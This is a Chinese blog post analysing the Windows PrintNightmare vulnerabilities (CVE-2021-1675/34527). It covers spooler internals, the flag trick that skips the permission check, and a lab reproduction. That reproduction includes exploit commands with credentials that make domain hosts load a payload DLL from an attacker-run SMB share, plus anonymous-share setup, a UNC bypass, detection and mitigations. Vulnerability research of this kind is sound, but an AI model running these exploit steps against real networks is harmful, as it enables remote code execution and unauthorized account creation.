CVE-2021-1675 / CVE-2021-34527 PrintNightmare漏洞分析与攻击链路以及问题和武器化

前言:CVE-2021-1675 / CVE-2021-34527 PrintNightmare漏洞分析与攻击链路笔记

参考文章:https://www.cnblogs.com/zpchcbd/p/17946353
参考文章:https://github.com/cube0x0/CVE-2021-1675
参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b
参考文章:https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/857d00ac-3682-4a0d-86ca-3d3c372e5e4a
参考文章:https://github.com/hahaleyile/my-CVE-2021-1675
参考文章:https://github.com/LaresLLC/CVE-2021-1675
参考文章:https://paper.seebug.org/1632/
参考文章:https://learn.microsoft.com/en-us/troubleshoot/windows-server/networking/guest-access-in-smb2-is-disabled-by-default
参考文章:https://3gstudent.github.io/渗透技巧-通过命令行开启Windows系统的匿名访问共享
参考文章:https://github.com/3gstudent/Invoke-BuildAnonymousSMBServer
参考文章:https://www.cnblogs.com/zpchcbd/p/17920450.html
参考文章:https://twitter.com/gentilkiwi/status/1412771368534528001
参考文章:https://github.com/byt3bl33d3r/ItWasAllADream
参考文章:https://mp.weixin.qq.com/s?__biz=MzU1NzkwMzUzNg==&mid=2247484304&idx=1&sn=3dec842400e5d6878c0a7032e0010a00

Windows 打印后台处理程序体系架构

具体来说,后台打印程序用于管理打印任务,它由以下部件组成:

  • winspool.drv:提供给用户的动态链接库文件。该文件定义了spooler相关的win32 API供用户调用。里面的API均采用远程过程调用的形式来获取服务。

  • spoolsv.exe:担当体系中服务器的角色。作为第一个处理API调用的程序。如此设计是为了让print spooler既能处理本地打印作业,又能无差别处理远程打印作业。

  • spoolsv.dll:起到一个路由的作用。它将spoolsv.exe接收的打印请求,向各个打印提供程序发起,并决定由哪个打印提供程序最终处理该请求。它的作用就是区分打印任务是远程任务还是本地任务。在远程机器上它就会将任务固定分配给本地打印提供程序。

  • localspl.dll:本地打印提供程序。绝大多数的API都是在这个模块内实现的,因为具体的打印机任务都是在该DLL中进行处理。

漏洞分析

CVE-2021-1675

在CVE-2021-1675的EXP中,调用RPC函数为RpcAddPrinterDriverEx,系统处理这个RPC函数后,但是没有对参数dwFileCopyFlags进行条件判断。如果此时dwFileCopyFlags设置为APD_INSTALL_WARNED_DRIVER标志,就可以实现低权限添加打印机驱动时,以高权限加载DLL。

知识点:在CVE-2021-1675未出现之前,该文档中不存在APD_INSTALL_WARNED_DRIVER参数的定义说明。

RpcAddPrinterDriverEx

在spoolsv.exe中接受到了对方发送过来的RPC请求RpcAddPrinterDriverEx,这边用IDA来看下spoolsv.exe中的RpcAddPrinterDriverEx函数,这边记得导入PDB符号文件,要不然函数名称可能解析不到导致分析的时候比较麻烦,如下图所示

这边想CVE-2021-1675这边可以用到 https://github.com/cube0x0/CVE-2021-1675/blob/main/CVE-2021-1675.py 其中的代码,如下图所示,此时还是通过CVE-2021-1675的MS-RPRN协议来进行利用的

执行CVE-2021-1675来进行利用,执行如下命令

python3 CVE-2021-1675.py 'hengge/alimaomao:admin@123@192.168.75.68' '\\192.168.75.198\smb\payload_x64.dll'

通过Process Monitor可以获取其函数调用堆栈来后期进行观察,如下图所示

在加载完payload_x64.dll的过程中直接产生了cmd进行了命令执行,这边的话实际上就是payload_x64.dll中通过winexec来添加了账号,如下图所示

而在调用堆栈中可以看到具体函数的调用流程,首先就是从spoolsv.exe从对应的rpc请求中接收到请求,然后后续在localspl.dll中调用了PrvAddPrinterDriverExW以及SplAddPrinterDriverEx实现的漏洞利用

| 26 | localspl.dll | SplAddPrinterDriverEx + 0xf2 | 0x7ffaa7e487f2 | C:\Windows\System32\localspl.dll |
| 27 | localspl.dll | SplSetDriverUpdateStatus + 0x895 | 0x7ffaa7e48595 | C:\Windows\System32\localspl.dll |
| 28 | spoolsv.exe | PrvAddPrinterDriverExW + 0x6f | 0x7ff739f447bf | C:\Windows\System32\spoolsv.exe |
| 29 | spoolsv.exe | YAddJob + 0xbcc | 0x7ff739f22d1c | C:\Windows\System32\spoolsv.exe |

YAddPrinterDriverEx

进入YAddPrinterDriverEx(a1, a2, a3, 1u);的时候其中a3变量则是dwFileCopyFlags参数,a2参数为DRIVER_INFO_2结构体

if ( v6 && !v9 )
a3 &= ~0x8000u;
if ( !v7 || v9 )
{
v4 = YAddPrinterDriverEx(a1, a2, a3, 1u);
}

a2参数为DRIVER_INFO_2结构体,该DRIVER_INFO_2结构体对应的值为0x00000002

AddPrinterDriverExW

这里继续跟进到AddPrinterDriverExW函数中,其中的pLocalProvidor指针指向的函数(*(i + 81))(pName, Level, lpbDriverInfo, dwFileCopyFlags),也就是localspl.dll模块内的函数LocalAddPrinterDriverEx,如下图所示

知识点:localspl.dll作为一个本地打印提供程序。

poolerByNameIncRef = FindSpoolerByNameIncRef(a1);获取打印机的指针,接着将相关的参数都传入到SplAddPrinterDriverEx中

SplAddPrinterDriverEx

这边SplAddPrinterDriverEx,在这里有一个关键的函数ValidateObjectAccess

ValidateObjectAccess该函数校验了当前权限,而如果当前请求的为低权限用户的话则导致无法进行后续的InternalAddPrinterDriverEx函数调用

if ( (dwFileCopyFlags & 0x8000) != 0 )
a7 = 0;
if ( a7 && !ValidateObjectAccess(0i64, 1i64, 0i64) )
return 0i64;

如果想要让其走到InternalAddPrinterDriverEx函数的话,那么这里的a7变量就需要让其为0,当为0的时候则不进行ValidateObjectAccess判断,而这里的a7是否为0是由dwFileCopyFlags来进行判断的,可以看到dwFileCopyFlags参数定义如下所示

if ( (dwFileCopyFlags & 0x8000) != 0 )
a7 = 0;

在poc中的定义为如下,APD_COPY_ALL_FILES对应的为0x00000004

通过下面的计算得知结果不为0,则将a7置为0导致绕过ValidateObjectAccess权限校验

flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000

具体的计算结果为

0x00000004 | 0x00000010的结果
0000 0000 0000 0000 0000 0000 0000 0100
0000 0000 0000 0000 0000 0000 0001 0000
---------------------------------------
0000 0000 0000 0000 0000 0000 0001 0100
0x00000004 | 0x00000010 | 0x00008000 的结果
0000 0000 0000 0000 0000 0000 0001 0100
0000 0000 0000 0000 1000 0000 0000 0000
---------------------------------------
0000 0000 0000 0000 1000 0000 0001 0100
(0x00000004 | 0x00000010 | 0x00008000) & 0x8000 的结果
0000 0000 0000 0000 1000 0000 0001 0100
0000 0000 0000 0000 1000 0000 0000 0000
---------------------------------------
0000 0000 0000 0000 1000 0000 0000 0000

InternalAddPrinterDriverEx

x

漏洞修复

当前没有CVE-2021-1675漏洞补丁的电脑,无法进行查看,这边就先跳过,后续有机会补充

CVE-2021-34527

CVE-2021-34527的EXP中,调用RPC函数为RpcAsyncAddPrinterDriver,系统处理这个RPC函数后,都调用了YAddPrinterDriverEx函数,但是没有对参数dwFileCopyFlags进行条件判断。由此可设置APD_INSTALL_WARNED_DRIVER标志,使添加打印机驱动时,以高权限加载DLL。

RpcAsyncAddPrinterDriver

对于RpcAsyncAddPrinterDriver来说,客户端的实现就是直接对服务端的远程调用,如下图所示

服务端的实现就是封装一个TFunction4对象,如下图所示

在TFunction4对象中调用的流程是YAddPrinterDriverEx,如下图所示

漏洞修复

CVE-2021-34527补丁中加入了对用户组和注册表键的验证,如下图所示

漏洞复现

ubuntu 192.168.75.198 攻击机器

win2016 192.168.75.22 域控机器

win2016 192.168.75.68 域机器

win2016 192.168.75.66 域机器

win2016 192.168.75.158 域机器

linux攻击机器

在linux机器上安装一个samba服务,其中对于445设置共享目录以及匿名访问权限,如下图所示

[smb]
comment = Template Directories
browseable = yes
writeable = yes
path = /tmp/
guest ok = yes

开启对应的smbd服务

systemctl restart smbd

访问下linux开启的smb目录

python3 CVE-2021-1675.py 'hengge/alimaomao:admin@123@192.168.75.68' '\\192.168.75.198\smb\payload_x64.dll'

windows攻击机器

参考文章:https://learn.microsoft.com/en-us/troubleshoot/windows-server/networking/guest-access-in-smb2-is-disabled-by-default
参考文章:https://3gstudent.github.io/渗透技巧-通过命令行开启Windows系统的匿名访问共享
参考文章:https://github.com/3gstudent/Invoke-BuildAnonymousSMBServer

创建共享服务碰到的问题

这边的话漏洞作者还提供了一种方式,如下图所示,在192.168.75.66域机器上以本地Administrator管理员权限执行以下命令

mkdir C:\share
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'

上面的设置完之后,默认域机器之间存在信任关系,域机器192.168.75.68可以直接进行访问192.168.75.66,如下图所示

实际上在利用的时候发现无法创建一个有效的共享服务器,这边在192.168.75.156域机器上按照上面方法搭建了一个共享服务器c:\share,但是利用的时候提示拒绝访问ERROR_ACCESS_DENIED,通过抓包原因可以知道受害者打印机在发起请求的时候是以匿名的形式进行请求的,如下图所示

这里的话通过3gstudent师傅的Invoke-BuildAnonymousSMBServer进行创建共享,这边的话发现外部机器是可以正常访问该共享服务,如下图所示

但是这边利用情况下的时候提示还是ERROR_ACCESS_DENIED拒绝访问的情况

SharpPrintNightmare.exe \\192.168.75.156\smb\payload_x64.dll \\192.168.75.202 zpchcbd.com alimaomao admin@123

解决方式

参考文章:https://www.cnblogs.com/zpchcbd/p/17920450.html

域内主机作为攻击机器

win2016 192.168.75.22 域控机器
win2016 192.168.75.34 域机器

这边在192.168.75.34域机器上通过SMB Release来释放原445端口,如下图所示

然后在192.168.75.34域机器上使用impacket打包的smbserver二进制文件来创建SMB服务,如下图所示

smbserver.exe smb c:\share

接着就是在192.168.75.34域机器上进行漏洞利用,如下图所示

SharpPrintNightmare.exe \\192.168.75.34\smb\payload_x64.dll \\192.168.75.22 hengge.local wsususer admin@321

域外主机作为攻击机器

域外的主机能否作为SMB服务来进行利用呢,下面的这台主机则是域外主机,相关的利用步骤跟上面一样,释放445,接着开启SMB服务即可,如下图所示

注意点:以高权限来利用工具进行漏洞利用

如何配合中继攻击(无法解决)

利用中继中出现的问题

按照正常来说既然能够访问对方的SMB服务器,那么如果CVE-2019-1040 Drop The MIC漏洞还存在的话,那么就可以正常配合中继攻击来进行使用了,这边来进行测试

首先在ubuntu攻击机器中使用impacket开启中继监听使用,如下图所示

python3 CVE-2021-34527.py hengge/alimaomao:admin@123@192.168.75.68 '\\192.168.75.198\smb\payload_x64.dll'

这里可以发现利用情况是失败的,主要的问题是在接受到的认证请求中并没有对应的机器名称的识别,如下图所示

后续自己想着看能不能在自定义的dll中通过WinExec函数进行smb请求dir来用于中继操作,但是测试了下发现好像不行,dll被加载了但是里面的dll中的代码并没有被执行,所以这个只能放着以后再说,还是使用常规的方法进行利用

关于UNC BYPASS

参考文章:https://twitter.com/gentilkiwi/status/1412771368534528001

gentilkiwi作者在实现它的mimikatz的过程中公布了一种UNC路径的替代方式,\\server\share可以通过\\??\\server\\share来进行替代,如下图所示

如何进行无损检测漏洞

参考文章:https://github.com/byt3bl33d3r/ItWasAllADream

该ItWasAllADream工程中判断逻辑两部分:

通过账号密码连接打印机进行枚举存在的drivers

如果drivers存在的话,然后通过加载远程dll的返回信息来判断是否存在漏洞

执行下面的命令来检测漏洞存在

python3 main.py -u alimaomao -p admin@123 -d hengge.local 192.168.75.0/24

漏洞的利用是否受到登录的影响

在自己内网测试的时候你可能会发现只要有一个域用户权限的话,正常的话就是可以直接进行利用的,那是否实战情况下的话是这种情况呢?

这边通过组策略批量下发将所有机器的本地组策略中可登录的domain users进行去除,如下图所示

x

实战利用dll占用情况

参考文章:https://mp.weixin.qq.com/s?__biz=MzU1NzkwMzUzNg==&mid=2247484304&idx=1&sn=3dec842400e5d6878c0a7032e0010a00

作者在实战利用情况中出现了能够写入dll,但是无法加载dll的利用,发现无法加载dll的问题是,作者最终通过../的方法来解决,详情可查看上述文章

防御方案

安装微软CVE-2021-1675/CVE-2021-34527漏洞补丁

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34527

关闭打印机服务

Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG_DWORD /d "4" /f
posted @   zpchcbd  阅读(353)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
点击右上角即可分享
微信分享提示